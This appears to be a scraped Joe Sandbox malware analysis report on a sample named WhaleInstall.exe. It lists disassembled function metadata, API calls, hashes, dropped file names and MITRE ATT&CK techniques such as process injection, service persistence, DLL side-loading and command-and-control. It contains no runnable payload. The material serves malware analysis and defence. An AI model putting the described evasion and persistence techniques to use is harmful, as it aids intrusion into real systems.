Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: TextWindow$lstrcmplstrlen
String ID:
API String ID: 330964273-0
Opcode ID: 384e067a6088c81d92b17b03be8c18f13cf7aff6356aa849d91de3e7671ddb29
Instruction ID: d9676e813b0dec1fd1b2193b5f2d04ecc767190a66d0d389e83cfb288f387da0
Opcode Fuzzy Hash: 384e067a6088c81d92b17b03be8c18f13cf7aff6356aa849d91de3e7671ddb29
Instruction Fuzzy Hash: F9F05E31600118ABDF326F20EC08AEE3B69EB08390F448161FC45E1260D775CDA6CB99

Function 00405A2F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

wm_InStr.WMVERT(00000004,?,00000000,80000004,0042FBA2,00000000,80000004,00000000,00000000,00000000,00000000,00000000,80000002), ref: 00405A7E
wm_Trim.WMVERT(00000001,?,00000000,80000004), ref: 00405B58

Strings

Set-Cookie:, xrefs: 00405B03

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Trim
String ID: Set-Cookie:
API String ID: 3043112668-2427311273
Opcode ID: 12dc28bb960f218ed1312f436662c2543c401e5c33e176c70eb1ba91a6d3199f
Instruction ID: 5e0a6f560ebf00e58a052fc0c1e30d68b0d27526bf2e55d24cec7baa52ea14bc
Opcode Fuzzy Hash: 12dc28bb960f218ed1312f436662c2543c401e5c33e176c70eb1ba91a6d3199f
Instruction Fuzzy Hash: CC4154B1A04304AFEB00DAA5DCC1FDE77B4EB19704F54017AFA05BA292E67969448B29

Function 0041C97C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 124COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,00000000), ref: 0041C990

Strings

, xrefs: 0041C9D9
, xrefs: 0041C9B5

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Info
String ID: $
API String ID: 1807457897-3032137957
Opcode ID: 1dea8c54e47ac0a6ffcc62c1e075997b3bde51ba84302d380860c5b7e98388e1
Instruction ID: ffda2b8ff59e0e834bbf459dbe072cb74e01ca3568487e4b55e4facdfe7e3d84
Opcode Fuzzy Hash: 1dea8c54e47ac0a6ffcc62c1e075997b3bde51ba84302d380860c5b7e98388e1
Instruction Fuzzy Hash: 2D419C7108025C2EEB13DB14DD89BFB7F98DF03B44F1404EAD589CB252D2794A94DB6A

Function 0041EBB8 Relevance: 5.1, APIs: 4, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

HeapReAlloc.KERNEL32(00000000,?,00000000,00000000,0041E980,00000000,00000000,00000000,0041ABDF,00000000,00000000,?,00000000,00000000,00000000), ref: 0041EBE0
HeapAlloc.KERNEL32(00000008,000041C4,00000000,00000000,0041E980,00000000,00000000,00000000,0041ABDF,00000000,00000000,?,00000000,00000000,00000000), ref: 0041EC14
VirtualAlloc.KERNEL32(00000000,00100000,00002000,00000004), ref: 0041EC2E
HeapFree.KERNEL32(00000000,?), ref: 0041EC45

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: AllocHeap$FreeVirtual
String ID:
API String ID: 3499195154-0
Opcode ID: 55d77783c0ef9701d6ec6258e9ba4864f41ebf3d8e4e6c19b0e8e9f7449af35f
Instruction ID: cee673d5c21b392f81e2f9143a3baa08d3e4a8cd007477bb0637580f15d8ce7e
Opcode Fuzzy Hash: 55d77783c0ef9701d6ec6258e9ba4864f41ebf3d8e4e6c19b0e8e9f7449af35f
Instruction Fuzzy Hash: 6D119434200200EFC7328F19EC45DA27BB5FB46B26754463AF552C31B0D334A956CF18

Function 00429373 Relevance: 5.0, APIs: 4, Instructions: 36COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00441D08,?,00000000,?,00000000,004291BB,00000010,?,00000100,00000000,?,?,00428D00,00428D18,004286D6,004272E6), ref: 004293AE
InitializeCriticalSection.KERNEL32(00000000,?,00000000,?,00000000,004291BB,00000010,?,00000100,00000000,?,?,00428D00,00428D18,004286D6,004272E6), ref: 004293C0
LeaveCriticalSection.KERNEL32(00441D08,?,00000000,?,00000000,004291BB,00000010,?,00000100,00000000,?,?,00428D00,00428D18,004286D6,004272E6), ref: 004293C9
EnterCriticalSection.KERNEL32(00000000,00000000,?,00000000,004291BB,00000010,?,00000100,00000000,?,?,00428D00,00428D18,004286D6,004272E6,00000100), ref: 004293DB

Part of subcall function 0042932E: GetVersion.KERNEL32(?,00429383,00000000,004291BB,00000010,?,00000100,00000000,?,?,00428D00,00428D18,004286D6,004272E6,00000100,0042727F), ref: 00429341

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: CriticalSection$Enter$InitializeLeaveVersion
String ID:
API String ID: 1193629340-0
Opcode ID: 2c19039c24e4bc21912398ac720ec00c9e41940b470c49b4a324f0c4d2dba02e
Instruction ID: 765f7bfe7a2ed3c120276b9273518b8ed1ceb5f6b8046035b3796b3c775802ce
Opcode Fuzzy Hash: 2c19039c24e4bc21912398ac720ec00c9e41940b470c49b4a324f0c4d2dba02e
Instruction Fuzzy Hash: 34F03C7960422ADFC720DF55FC84956B3ADFB15326F80443BEA41C2171E738B8A6CA69

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as `sc query` , `tasklist /svc` , `systemctl --type=service` , and `net start` .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report WhaleInstall.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\guardservice[1].exe

C:\Users\user\Desktop\record_hit.exe

\Device\ConDrv

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

Windows Analysis Report
WhaleInstall.exe

Function 00007FF772A6216A Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 197
networkCOMMON

Function 00007FF772A62793 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 212
COMMON

Function 00007FF772A61180 Relevance: 10.6, APIs: 7, Instructions: 146
sleepstringCOMMON

Function 00007FF772A7AB40 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 113
threadlibraryloaderCOMMON

Function 00007FF772A7B420 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 133
COMMON

Function 00007FF772A6254F Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 123
COMMON

Function 00007FF772B2B7E0 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 251
fileCOMMON

Function 00007FF772ADF360 Relevance: 1.6, APIs: 1, Instructions: 87
COMMON

Function 00007FF772B2F0C0 Relevance: 1.3, APIs: 1, Instructions: 29
stringCOMMON

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre